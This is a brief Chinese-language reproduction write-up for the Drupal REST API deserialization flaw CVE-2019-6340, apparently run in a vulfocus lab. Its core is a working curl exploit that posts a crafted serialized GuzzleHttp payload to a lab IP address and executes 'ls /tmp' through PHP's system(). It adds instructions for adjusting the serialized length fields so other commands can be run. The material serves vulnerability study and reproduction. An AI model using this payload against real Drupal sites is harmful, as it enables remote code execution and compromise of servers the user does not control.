漏洞描述

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成

该漏洞源于某些字段在通过非表格(non-form resources)类型输入时未能正确过滤,导致潜在的任意PHP代码执行。

漏洞环境

vulfocus

漏洞复现

curl -XPOST -H "Content-Type: application/hal+json" "<http://123.58.236.76:15515/node/?_format=hal_json>" -d '
{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:7:\"ls /tmp\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "<http://123.58.236.76:15515/rest/type/shortcut/default>"
    }
  }
}'

执行不同的命令,json的s位需要修改成对应字符的长度

参考:

https://github.com/knqyf263/CVE-2019-6340